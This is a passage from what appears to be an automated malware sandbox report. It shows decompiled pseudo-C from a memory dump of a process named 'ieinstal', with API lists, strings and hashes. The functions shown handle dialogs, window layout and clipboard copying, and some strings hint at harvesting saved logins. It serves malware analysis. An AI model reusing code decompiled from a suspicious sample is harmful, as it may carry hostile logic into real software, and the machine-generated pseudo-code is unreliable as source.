				intOrPtr* _t151;
				short _t157;
				void* _t158;

				_t75 = _a4 - 0x4e;
				_t158 = __ecx;
				if(_t75 == 0) {
					_t151 = _a12;
					__eflags =  *((intOrPtr*)(_t151 + 8)) - 0xfffffffd;
					if( *((intOrPtr*)(_t151 + 8)) == 0xfffffffd) {
						__eflags =  *((intOrPtr*)(_t151 + 4)) - 0x3e9;
						if(__eflags == 0) {
							E00404A6A(__eflags,  *_t151,  *(_t151 + 0xc));
						}
					}
					__eflags =  *((intOrPtr*)(_t151 + 8)) - 0xffffff9b;
					if( *((intOrPtr*)(_t151 + 8)) != 0xffffff9b) {
						L27:
						__eflags = 0;
						return 0;
					} else {
						__eflags =  *((intOrPtr*)(_t151 + 4)) - 0x3e9;
						if( *((intOrPtr*)(_t151 + 4)) != 0x3e9) {
							goto L27;
						}
						_t77 =  *(_t151 + 0x14);
						__eflags = _t77 & 0x00000002;
						if((_t77 & 0x00000002) == 0) {
							L36:
							_t134 =  *(_t151 + 0x18) ^ _t77;
							__eflags = 0x0000f000 & _t134;
							if((0x0000f000 & _t134) == 0) {
								L39:
								__eflags =  *(_t151 + 0x14) & 0x00000002;
								if(( *(_t151 + 0x14) & 0x00000002) == 0) {
									goto L27;
								}
								__eflags =  *(_t151 + 0x18) & 0x00000002;
								if(( *(_t151 + 0x18) & 0x00000002) != 0) {
									goto L27;
								}
								__eflags =  *(_t151 + 0xc);
								E004014C2(_t158, 0x3eb, 0 |  *(_t151 + 0xc) != 0x00000000);
								__eflags =  *(_t151 + 0xc) -  *((intOrPtr*)( *((intOrPtr*)(_t158 + 0x14)) + 4)) - 1;
								E004014C2(_t158, 0x3ec, 0 |  *(_t151 + 0xc) !=  *((intOrPtr*)( *((intOrPtr*)(_t158 + 0x14)) + 4)) - 0x00000001);
								 *((intOrPtr*)(_t158 + 0x1c)) = 1;
								SetDlgItemInt( *(_t158 + 0x10), 0x3ed,  *( *((intOrPtr*)( *((intOrPtr*)(_t158 + 0x14)))) +  *(_t151 + 0x28) * 4), 0);
								 *((intOrPtr*)(_t158 + 0x1c)) = 0;
								return 1;
							}
							L37:
							_t91 = E00404549( *_t151,  *(_t151 + 0xc), 0xf002);
							__eflags = _t91 & 0x00000002;
							if((_t91 & 0x00000002) != 0) {
								_t92 = _t91 & 0x0000f000;
								__eflags = _t92 - 0x1000;
								_a8 = _t92;
								E004014C2(_t158, 0x3ee, 0 | _t92 == 0x00001000);
								_a8 - 0x2000 = _a8 == 0x2000;
								E004014C2(_t158, 0x3ef, 0 | _a8 == 0x00002000);
							}
							goto L39;
						}
						__eflags =  *(_t151 + 0x18) & 0x00000002;
						if(( *(_t151 + 0x18) & 0x00000002) == 0) {
							goto L37;
						}
						goto L36;
					}
				}
				_t100 = _t75 - 0xc2;
				if(_t100 == 0) {
					SendDlgItemMessageW( *(__ecx + 0x10), 0x3ed, 0xc5, 3, 0);
					E00405A0E(_t158);
					E00409F42(_t149,  *(_t158 + 0x10));
					goto L27;
				}
				_t104 = _t100 - 1;
				if(_t104 != 0) {
					goto L27;
				}
				_t128 = _a8 >> 0x10;
				if( *((intOrPtr*)(__ecx + 0x1c)) != _t104 || _t128 != 0x300) {
					L7:
					if(_t128 != 0) {
						goto L27;
					}
					if(_a8 != 0x3f0) {
						L13:
						if(_a8 == 0x3eb) {
							E00404820(GetDlgItem( *(_t158 + 0x10), 0x3e9));
						}
						if(_a8 == 0x3ec) {
							E00404863(GetDlgItem( *(_t158 + 0x10), 0x3e9));
						}
						if(_a8 == 0x3ee) {
							E0040489D(GetDlgItem( *(_t158 + 0x10), 0x3e9), 1);
						}
						if(_a8 == 0x3ef) {
							E0040489D(GetDlgItem( *(_t158 + 0x10), 0x3e9), 0);
						}
						if(_a8 == 2) {
							EndDialog( *(_t158 + 0x10), 2);
						}
						if(_a8 == 1) {
							E0040599A(_t158);
							EndDialog( *(_t158 + 0x10), 1);
						}
						return 1;
					}
					_t131 =  *((intOrPtr*)( *((intOrPtr*)(_t158 + 0x14)) + 4));
					_t148 = 0;
					if(_t131 <= 0) {
						L12:
						E00405A0E(_t158);
						goto L13;
					}
					_t150 = 0;
					do {
						_t122 =  *((intOrPtr*)( *((intOrPtr*)(_t158 + 0x14)))) + _t148 * 4;
						 *(_t122 + 2) = _t148;
						_t157 =  *((intOrPtr*)( *((intOrPtr*)(_t158 + 0x18)) + _t150 + 0xc));
						_t148 = _t148 + 1;
						_t150 = _t150 + 0x14;
						 *_t122 = _t157;
					} while (_t148 < _t131);
					goto L12;
				} else {
					if(_a8 != 0x3ed) {
						goto L27;
					} else {
						E00405942(__ecx, __ecx);
						goto L7;
					}
				}
			}





















                                                                                                                            0x00405b89
                                                                                                                            0x00405b8f
                                                                                                                            0x00405b91
                                                                                                                            0x00405cce
                                                                                                                            0x00405cd1
                                                                                                                            0x00405cda
                                                                                                                            0x00405cdc
                                                                                                                            0x00405cdf
                                                                                                                            0x00405ce6
                                                                                                                            0x00405cec
                                                                                                                            0x00405cdf
                                                                                                                            0x00405ced
                                                                                                                            0x00405cf1
                                                                                                                            0x00405cc5
                                                                                                                            0x00405cc5
                                                                                                                            0x00000000
                                                                                                                            0x00405cf3
                                                                                                                            0x00405cf3
                                                                                                                            0x00405cf6
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00405cf8
                                                                                                                            0x00405cfb
                                                                                                                            0x00405d02
                                                                                                                            0x00405d0a
                                                                                                                            0x00405d0d
                                                                                                                            0x00405d0f
                                                                                                                            0x00405d11
                                                                                                                            0x00405d5e
                                                                                                                            0x00405d5e
                                                                                                                            0x00405d62
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00405d68
                                                                                                                            0x00405d6c
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00405d76
                                                                                                                            0x00405d84
                                                                                                                            0x00405d92
                                                                                                                            0x00405da0
                                                                                                                            0x00405dbe
                                                                                                                            0x00405dc1
                                                                                                                            0x00405dc7
                                                                                                                            0x00000000
                                                                                                                            0x00405dca
                                                                                                                            0x00405d13
                                                                                                                            0x00405d1d
                                                                                                                            0x00405d25
                                                                                                                            0x00405d27
                                                                                                                            0x00405d29
                                                                                                                            0x00405d2d
                                                                                                                            0x00405d35
                                                                                                                            0x00405d40
                                                                                                                            0x00405d4e
                                                                                                                            0x00405d59
                                                                                                                            0x00405d59
                                                                                                                            0x00000000
                                                                                                                            0x00405d27
                                                                                                                            0x00405d04
                                                                                                                            0x00405d08
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00405d08
                                                                                                                            0x00405cf1
                                                                                                                            0x00405b97
                                                                                                                            0x00405b9c
                                                                                                                            0x00405cb0
                                                                                                                            0x00405cb7
                                                                                                                            0x00405cbf
                                                                                                                            0x00000000
                                                                                                                            0x00405cc4
                                                                                                                            0x00405ba2
                                                                                                                            0x00405ba3
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00405bac
                                                                                                                            0x00405bb2
                                                                                                                            0x00405bcc
                                                                                                                            0x00405bcf
                                                                                                                            0x00000000
                                                                                                                            0x00000000
                                                                                                                            0x00405bdb
                                                                                                                            0x00405c10
                                                                                                                            0x00405c21
                                                                                                                            0x00405c29
                                                                                                                            0x00405c29
                                                                                                                            0x00405c34
                                                                                                                            0x00405c3c
                                                                                                                            0x00405c3c
                                                                                                                            0x00405c47
                                                                                                                            0x00405c52
                                                                                                                            0x00405c58
                                                                                                                            0x00405c5f
                                                                                                                            0x00405c6a
                                                                                                                            0x00405c70
                                                                                                                            0x00405c7c
                                                                                                                            0x00405c83
                                                                                                                            0x00405c83
                                                                                                                            0x00405c8a
                                                                                                                            0x00405c8e
                                                                                                                            0x00405c98
                                                                                                                            0x00405c98
                                                                                                                            0x00000000
                                                                                                                            0x00405c9c
                                                                                                                            0x00405be0
                                                                                                                            0x00405be3
                                                                                                                            0x00405be7
                                                                                                                            0x00405c0a
                                                                                                                            0x00405c0b
                                                                                                                            0x00000000
                                                                                                                            0x00405c0b
                                                                                                                            0x00405be9
                                                                                                                            0x00405beb
                                                                                                                            0x00405bf0
                                                                                                                            0x00405bf3
                                                                                                                            0x00405bfa
                                                                                                                            0x00405bff
                                                                                                                            0x00405c00
                                                                                                                            0x00405c05
                                                                                                                            0x00405c05
                                                                                                                            0x00000000
                                                                                                                            0x00405bbb
                                                                                                                            0x00405bc1
                                                                                                                            0x00000000
                                                                                                                            0x00405bc7
                                                                                                                            0x00405bc7
                                                                                                                            0x00000000
                                                                                                                            0x00405bc7
                                                                                                                            0x00405bc1

                                                                                                                            APIs
                                                                                                                            • GetDlgItem.USER32(?,000003E9), ref: 00405C27
                                                                                                                            • GetDlgItem.USER32(?,000003E9), ref: 00405C3A
                                                                                                                            • GetDlgItem.USER32(?,000003E9), ref: 00405C4F
                                                                                                                            • GetDlgItem.USER32(?,000003E9), ref: 00405C67
                                                                                                                            • EndDialog.USER32(?,00000002), ref: 00405C83
                                                                                                                            • EndDialog.USER32(?,00000001), ref: 00405C98
                                                                                                                              • Part of subcall function 00405942: GetDlgItem.USER32(?,000003E9), ref: 0040594F
                                                                                                                              • Part of subcall function 00405942: GetDlgItemInt.USER32(?,000003ED,00000000,00000000), ref: 00405964
                                                                                                                            • SendDlgItemMessageW.USER32(?,000003ED,000000C5,00000003,00000000), ref: 00405CB0
                                                                                                                            • SetDlgItemInt.USER32(?,000003ED,?,00000000), ref: 00405DC1
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Item$Dialog$MessageSend
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 3975816621-0
                                                                                                                            • Opcode ID: 7732dd923fe157b610bb283d6cbae8fba396a65a3534e092655bb2fc554de655
                                                                                                                            • Instruction ID: f402ee7b04c6f37fed0081192b7321ff61b10a2f1b35431ffb531e22b2ae6a97
                                                                                                                            • Opcode Fuzzy Hash: 7732dd923fe157b610bb283d6cbae8fba396a65a3534e092655bb2fc554de655
                                                                                                                            • Instruction Fuzzy Hash: CC61C130214B05ABEB21AF25C886A2BB7B9FF40314F00C63EF515A76D1D778A980CF59
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00444C89 Relevance: 12.2, APIs: 3, Strings: 5, Instructions: 154COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            • _wcsicmp.MSVCRT ref: 00444D09
                                                                                                                            • _wcsicmp.MSVCRT ref: 00444D1E
                                                                                                                            • _wcsicmp.MSVCRT ref: 00444D33
                                                                                                                              • Part of subcall function 004097F7: wcslen.MSVCRT ref: 00409806
                                                                                                                              • Part of subcall function 004097F7: wcslen.MSVCRT ref: 00409810
                                                                                                                              • Part of subcall function 004097F7: _memicmp.MSVCRT ref: 0040982B
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: _wcsicmp$wcslen$_memicmp
                                                                                                                            • String ID: .save$http://$https://$log profile$signIn
                                                                                                                            • API String ID: 1214746602-2708368587
                                                                                                                            • Opcode ID: 3e4eac411a0fb8cde327a0735871c2cff258de2e34b2a7eb3fc074b31144511c
                                                                                                                            • Instruction ID: a06b7041105a35739b636013fb05be6f811b580b4b6be30494b1fb5d54fb6444
                                                                                                                            • Opcode Fuzzy Hash: 3e4eac411a0fb8cde327a0735871c2cff258de2e34b2a7eb3fc074b31144511c
                                                                                                                            • Instruction Fuzzy Hash: CF41E6F25047018AF730AA65988176773C8DBD4329F20893FE466E27C3DB7CE841451D
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00405DD1 Relevance: 12.1, APIs: 8, Instructions: 100windowCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 47%
                                                                                                                            			E00405DD1(void** __eax, void* __edi, intOrPtr _a4, struct HWND__* _a8) {
				RECT* _v8;
				void* __esi;
				void* _t39;
				signed int _t41;
				void* _t42;
				struct HWND__* _t47;
				signed int _t53;
				void* _t54;
				void* _t55;
				void* _t58;
				signed int _t74;
				signed int _t76;
				void* _t78;
				void* _t79;
				void** _t80;
				signed int _t84;
				void* _t88;
				signed int _t89;

				_t78 = __edi;
				_v8 = 0;
				 *((intOrPtr*)(__edi + 0x18)) = __eax;
				0x44665e(0xc, _t79, _t55, _t58);
				if(__eax == 0) {
					_t80 = 0;
				} else {
					 *((intOrPtr*)(__eax)) = 0;
					_t80 = __eax;
				}
				 *(_t78 + 0x14) = _t80;
				_t39 =  *_t80;
				_t88 = _t39;
				if(_t88 != 0) {
					0x446664(_t39);
					 *_t80 = 0;
				}
				_t80[2] = _a8;
				_t41 = E004046EA(_a8);
				_t74 = 4;
				_t80[1] = _t41;
				_t42 = _t41 * _t74;
				0x44665e( ~(0 | _t88 > 0x00000000) | _t42);
				 *_t80 = _t42;
				memset(_t42, 0, _t80[1] << 2);
				E0040E758( *(_t78 + 0x14), ( *(_t78 + 0x14))[2]);
				_t89 =  *(_t78 + 0x18);
				if(_t89 == 0) {
					_t84 = ( *(_t78 + 0x14))[1];
					_t76 = 0x14;
					_t53 = _t84 * _t76;
					0x44665e( ~(0 | _t89 > 0x00000000) | _t53);
					 *(_t78 + 0x18) = _t53;
					if(_t84 > 0) {
						_t54 = 0;
						do {
							 *((intOrPtr*)(_t54 +  *(_t78 + 0x18) + 0xc)) = 0x78;
							_t54 = _t54 + 0x14;
							_t84 = _t84 - 1;
						} while (_t84 != 0);
					}
					_v8 = 1;
				}
				if(E004015ED(0x448, _t78, _a4) == 1) {
					E0040E6C3( *(_t78 + 0x14), ( *(_t78 + 0x14))[2]);
					InvalidateRect(( *(_t78 + 0x14))[2], 0, 0);
				}
				_t47 = SetFocus(_a8);
				if(_v8 != 0) {
					0x446664( *(_t78 + 0x18));
					return _t47;
				}
				return _t47;
			}





















                                                                                                                            0x00405dd1
                                                                                                                            0x00405ddb
                                                                                                                            0x00405dde
                                                                                                                            0x00405de1
                                                                                                                            0x00405de9
                                                                                                                            0x00405df1
                                                                                                                            0x00405deb
                                                                                                                            0x00405deb
                                                                                                                            0x00405ded
                                                                                                                            0x00405ded
                                                                                                                            0x00405df3
                                                                                                                            0x00405df6
                                                                                                                            0x00405df8
                                                                                                                            0x00405dfa
                                                                                                                            0x00405dfd
                                                                                                                            0x00405e03
                                                                                                                            0x00405e03
                                                                                                                            0x00405e09
                                                                                                                            0x00405e0c
                                                                                                                            0x00405e15
                                                                                                                            0x00405e16
                                                                                                                            0x00405e19
                                                                                                                            0x00405e23
                                                                                                                            0x00405e31
                                                                                                                            0x00405e33
                                                                                                                            0x00405e41
                                                                                                                            0x00405e46
                                                                                                                            0x00405e49
                                                                                                                            0x00405e4e
                                                                                                                            0x00405e55
                                                                                                                            0x00405e58
                                                                                                                            0x00405e62
                                                                                                                            0x00405e6a
                                                                                                                            0x00405e6d
                                                                                                                            0x00405e6f
                                                                                                                            0x00405e71
                                                                                                                            0x00405e74
                                                                                                                            0x00405e7c
                                                                                                                            0x00405e7f
                                                                                                                            0x00405e7f
                                                                                                                            0x00405e71
                                                                                                                            0x00405e82
                                                                                                                            0x00405e82
                                                                                                                            0x00405e9a
                                                                                                                            0x00405ea2
                                                                                                                            0x00405eaf
                                                                                                                            0x00405eaf
                                                                                                                            0x00405eb8
                                                                                                                            0x00405ec3
                                                                                                                            0x00405ec8
                                                                                                                            0x00000000
                                                                                                                            0x00405ecd
                                                                                                                            0x00405ecf

                                                                                                                            APIs
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ??2@$??3@$FocusInvalidateRectmemset
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 2313361498-0
                                                                                                                            • Opcode ID: ae1e8c4172d72900b4b853b02d180aef4faae84485dd6f90a73647b320165284
                                                                                                                            • Instruction ID: b0df241c53c05d00948b57b0581abff4a91b8671001b7eb205ccc6b71985861b
                                                                                                                            • Opcode Fuzzy Hash: ae1e8c4172d72900b4b853b02d180aef4faae84485dd6f90a73647b320165284
                                                                                                                            • Instruction Fuzzy Hash: F231C1B1500601AFEB249F6AD88692AB7A8FF14344B11853FF545E72A0DB38ED90CFD4
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00405F4E Relevance: 12.1, APIs: 8, Instructions: 89windowCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 81%
                                                                                                                            			E00405F4E(void* __ebx, intOrPtr* __ecx, void* __edx, void* __edi) {
				struct HWND__* __esi;
				intOrPtr* _t24;
				void* _t27;
				struct HWND__* _t29;
				void* _t32;
				intOrPtr* _t33;

				_t27 = __edx;
				_t24 = __ecx;
				_push(__ebx);
				_push(__edi);
				_t29 =  *(__ecx + 0x10);
				_t32 = __ecx + 0x14;
				 *(_t32 + 0x10) = _t29;
				GetClientRect(_t29, _t32 + 0xa14);
				 *(_t32 + 0xa24) =  *(_t32 + 0xa24) & 0x00000000;
				GetWindow(GetWindow(_t29, 5), 0);
				do {
					__eax = E00401739(__edi, __esi);
					__edi = GetWindow(__edi, 2);
				} while (__edi != 0);
				__esi =  *0x44e280;
				__eax = GetDlgItem( *(__ebp + 0x10), 0x40c);
				__ebx = 0x2ef;
				__edi = __eax;
				E0040D134(0x2ef) = E00409AC7(__edi, __eax, 1);
				__ebx = 0x2f0;
				E0040D134(0x2f0) = E00409AC7(__edi, __eax, 2);
				__edi =  *0x44e298;
				__eax = SendMessageW( *0x44e298, 0x160, 0x15e, 0);
				__eax = GetDlgItem( *(__ebp + 0x10), 0x40e);
				__ebx = 0x2f9;
				__esi = __eax;
				E0040D134(0x2f9) = E00409AC7(__esi, __eax, 1);
				__ebx = 0x2fa;
				E0040D134(0x2fa) = E00409AC7(__esi, __eax, 2);
				__ebx = 0x2fb;
				E0040D134(0x2fb) = E00409AC7(__esi, __eax, 3);
				__eax = SendMessageW(__esi, 0x160, 0x15e, 0);
				_pop(__edi);
				_pop(__esi);
				__ecx = __ebp;
				_pop(__ebp);
				_pop(__ebx);
				_t33 = _t24;
				 *((intOrPtr*)( *_t33 + 4))(1, _t32);
				 *((intOrPtr*)( *_t33 + 0x1c))();
				E00409F42(_t27,  *((intOrPtr*)(_t33 + 0x10)));
				return 0;
			}









                                                                                                                            0x00405f4e
                                                                                                                            0x00405f4e
                                                                                                                            0x00405f4e
                                                                                                                            0x00405f53
                                                                                                                            0x00405f54
                                                                                                                            0x00405f57
                                                                                                                            0x00405f62
                                                                                                                            0x00405f65
                                                                                                                            0x00405f71
                                                                                                                            0x00405f80
                                                                                                                            0x00405f84
                                                                                                                            0x00405f84
                                                                                                                            0x00405f8e
                                                                                                                            0x00405f90
                                                                                                                            0x00405f94
                                                                                                                            0x00405fa2
                                                                                                                            0x00405fa6
                                                                                                                            0x00405fab
                                                                                                                            0x00405fb4
                                                                                                                            0x00405fbe
                                                                                                                            0x00405fc6
                                                                                                                            0x00405fdb
                                                                                                                            0x00405fe1
                                                                                                                            0x00405feb
                                                                                                                            0x00405fef
                                                                                                                            0x00405ff4
                                                                                                                            0x00405ffd
                                                                                                                            0x00406007
                                                                                                                            0x0040600f
                                                                                                                            0x00406019
                                                                                                                            0x00406025
                                                                                                                            0x0040603a
                                                                                                                            0x0040603c
                                                                                                                            0x0040603d
                                                                                                                            0x0040603e
                                                                                                                            0x00406040
                                                                                                                            0x00406041
                                                                                                                            0x0040171c
                                                                                                                            0x00401722
                                                                                                                            0x00401729
                                                                                                                            0x0040172f
                                                                                                                            0x00401738

                                                                                                                            APIs
                                                                                                                            • GetClientRect.USER32(?,?), ref: 00405F65
                                                                                                                            • GetWindow.USER32(?,00000005), ref: 00405F7D
                                                                                                                            • GetWindow.USER32(00000000), ref: 00405F80
                                                                                                                              • Part of subcall function 00401739: GetWindowRect.USER32(?,?), ref: 00401748
                                                                                                                            • GetWindow.USER32(00000000,00000002), ref: 00405F8C
                                                                                                                            • GetDlgItem.USER32(?,0000040C), ref: 00405FA2
                                                                                                                            • SendMessageW.USER32(00000000,00000160,0000015E,00000000), ref: 00405FE1
                                                                                                                            • GetDlgItem.USER32(?,0000040E), ref: 00405FEB
                                                                                                                            • SendMessageW.USER32(00000000,00000160,0000015E,00000000), ref: 0040603A
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: Window$ItemMessageRectSend$Client
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 2047574939-0
                                                                                                                            • Opcode ID: 0a5759caa3c3a2066378adc41c959573f6e4568a1edde2a40f49f69ca2684f31
                                                                                                                            • Instruction ID: 7069056512839d5548a4ade768bb81bcd5f8c043aef79b83aaef118172e1f21b
                                                                                                                            • Opcode Fuzzy Hash: 0a5759caa3c3a2066378adc41c959573f6e4568a1edde2a40f49f69ca2684f31
                                                                                                                            • Instruction Fuzzy Hash: 3421A4B1B4070977E60137629C47F7B666CEF95718F04003AFB007F1C2DABA5C0649A9
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0040987A Relevance: 12.0, APIs: 8, Instructions: 42clipboardmemoryCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 93%
                                                                                                                            			E0040987A(void* _a4) {
				int _t7;
				void* _t8;
				signed int _t11;
				int _t13;
				void* _t17;
				signed int _t19;
				void* _t22;

				_t22 = _a4;
				_t19 = 0;
				EmptyClipboard();
				if(_t22 != 0) {
					_t7 = wcslen(_t22);
					_t3 = _t7 + 2; // 0x2
					_t13 = _t7 + _t3;
					_t8 = GlobalAlloc(0x2000, _t13);
					_t17 = _t8;
					if(_t17 != 0) {
						GlobalFix(_t17);
						memcpy(_t8, _t22, _t13);
						GlobalUnWire(_t17);
						_t11 = SetClipboardData(0xd, _t17);
						asm("sbb esi, esi");
						_t19 =  ~( ~_t11);
					}
				}
				CloseClipboard();
				return _t19;
			}










                                                                                                                            0x0040987b
                                                                                                                            0x00409880
                                                                                                                            0x00409882
                                                                                                                            0x0040988a
                                                                                                                            0x0040988f
                                                                                                                            0x00409895
                                                                                                                            0x00409895
                                                                                                                            0x0040989f
                                                                                                                            0x004098a5
                                                                                                                            0x004098a9
                                                                                                                            0x004098ac
                                                                                                                            0x004098b5
                                                                                                                            0x004098be
                                                                                                                            0x004098c7
                                                                                                                            0x004098d1
                                                                                                                            0x004098d3
                                                                                                                            0x004098d3
                                                                                                                            0x004098d6
                                                                                                                            0x004098d7
                                                                                                                            0x004098e1

                                                                                                                            APIs
                                                                                                                            • EmptyClipboard.USER32 ref: 00409882
                                                                                                                            • wcslen.MSVCRT ref: 0040988F
                                                                                                                            • GlobalAlloc.KERNEL32(00002000,00000002,?,?,?,?,00411A1E,-00000210), ref: 0040989F
                                                                                                                            • GlobalFix.KERNEL32(00000000), ref: 004098AC
                                                                                                                            • memcpy.MSVCRT ref: 004098B5
                                                                                                                            • GlobalUnWire.KERNEL32(00000000), ref: 004098BE
                                                                                                                            • SetClipboardData.USER32(0000000D,00000000), ref: 004098C7
                                                                                                                            • CloseClipboard.USER32 ref: 004098D7
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: ClipboardGlobal$AllocCloseDataEmptyWirememcpywcslen
                                                                                                                            • String ID:
                                                                                                                            • API String ID: 2014503067-0
                                                                                                                            • Opcode ID: ef81b411bc32b98b0d58beac2f1626bda71a649682fb6f24e39e44ffb2f3f244
                                                                                                                            • Instruction ID: b754b6ca90195c8d8a6f67e3e00c953256c5cf8724ac1a445a604cc17dd28da6
                                                                                                                            • Opcode Fuzzy Hash: ef81b411bc32b98b0d58beac2f1626bda71a649682fb6f24e39e44ffb2f3f244
                                                                                                                            • Instruction Fuzzy Hash: 4AF0967B1402246BD2112FA6AC4DD2B772CFB86B56B05013AF90592251DA3448004779
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 0044A7C0 Relevance: 10.7, APIs: 6, Strings: 1, Instructions: 203COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                              • Part of subcall function 0044A6E0: memset.MSVCRT ref: 0044A6EB
                                                                                                                              • Part of subcall function 0044A6E0: memset.MSVCRT ref: 0044A6FB
                                                                                                                              • Part of subcall function 0044A6E0: memcpy.MSVCRT ref: 0044A75D
                                                                                                                              • Part of subcall function 0044A6E0: memcpy.MSVCRT ref: 0044A7AA
                                                                                                                            • memcpy.MSVCRT ref: 0044A8BF
                                                                                                                            • memcpy.MSVCRT ref: 0044A90C
                                                                                                                            • memcpy.MSVCRT ref: 0044A988
                                                                                                                              • Part of subcall function 0044A3F0: memcpy.MSVCRT ref: 0044A422
                                                                                                                              • Part of subcall function 0044A3F0: memcpy.MSVCRT ref: 0044A46E
                                                                                                                            • memcpy.MSVCRT ref: 0044A9D8
                                                                                                                            • memcpy.MSVCRT ref: 0044AA19
                                                                                                                            • memcpy.MSVCRT ref: 0044AA4A
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memcpy$memset
                                                                                                                            • String ID: gj
                                                                                                                            • API String ID: 438689982-4203073231
                                                                                                                            • Opcode ID: 85f25b7c526aeaf15c340c15a86b7b9b8fd097bc53de23dcb8424ba1f871f8ae
                                                                                                                            • Instruction ID: 6893d0ddfb5a5ce8f484e87047b84ef7868cce638272d7e844f470f6f9013d76
                                                                                                                            • Opcode Fuzzy Hash: 85f25b7c526aeaf15c340c15a86b7b9b8fd097bc53de23dcb8424ba1f871f8ae
                                                                                                                            • Instruction Fuzzy Hash: 2E71D6F39083449BE310EF25D84059FB7E9ABD5348F050E2EF88997205E639DA19C797
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00430C36 Relevance: 10.6, APIs: 1, Strings: 6, Instructions: 135COMMON
                                                                                                                            Download Yara Rule
                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001C.00000002.2501152848.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_28_2_400000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: memcpy
                                                                                                                            • String ID: $, $CREATE TABLE $h\E$h\E$t\El\E
                                                                                                                            • API String ID: 3510742995-2446657581
                                                                                                                            • Opcode ID: 14c264379a519ee19885d409f26ecc6e2d490775587d859f835060da74a6389d
                                                                                                                            • Instruction ID: 6ffa86bec377aa4089670d2183b3ec09711c7f982517375fcd2495ffcd0e8f65
                                                                                                                            • Opcode Fuzzy Hash: 14c264379a519ee19885d409f26ecc6e2d490775587d859f835060da74a6389d
                                                                                                                            • Instruction Fuzzy Hash: CE51CF71D00219DFCB10CF99C490AAEB7F5EF89319F21925BD841AB206D738AE45CF98
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Function 00405A0E Relevance: 10.6, APIs: 7, Instructions: 125windowCOMMON
                                                                                                                            Download Yara Rule
                                                                                                                            C-Code - Quality: 49%
                                                                                                                            			E00405A0E(intOrPtr _a4) {
				struct HWND__* _v8;
				signed int _v12;
				int _v16;
				int _v20;
				intOrPtr _v24;
				short _v28;
				intOrPtr _v56;
				char* _v60;
				void* _v72;
				void _v582;
				char _v584;
				struct HWND__* _t52;
				intOrPtr* _t58;
				void* _t59;
				intOrPtr _t63;
				void* _t71;
				intOrPtr _t77;
				void* _t78;
				intOrPtr _t79;
				void* _t82;
				intOrPtr _t87;
				signed int _t89;
				short* _t90;
				void* _t92;
				void* _t93;

				_t87 = _a4;
				_t52 = GetDlgItem( *(_t87 + 0x10), 0x3e9);
				_v8 = _t52;
				SendMessageW(_t52, 0x1009, 0, 0);
				SendMessageW(_v8, 0x1036, 0, 0x26);
				do {
				} while (SendMessageW(_v8, 0x101c, 0, 0) != 0);
				_push(0xc8);
				_push(0);
				_push(0);
				_push(_v8);
				_t78 = 6;
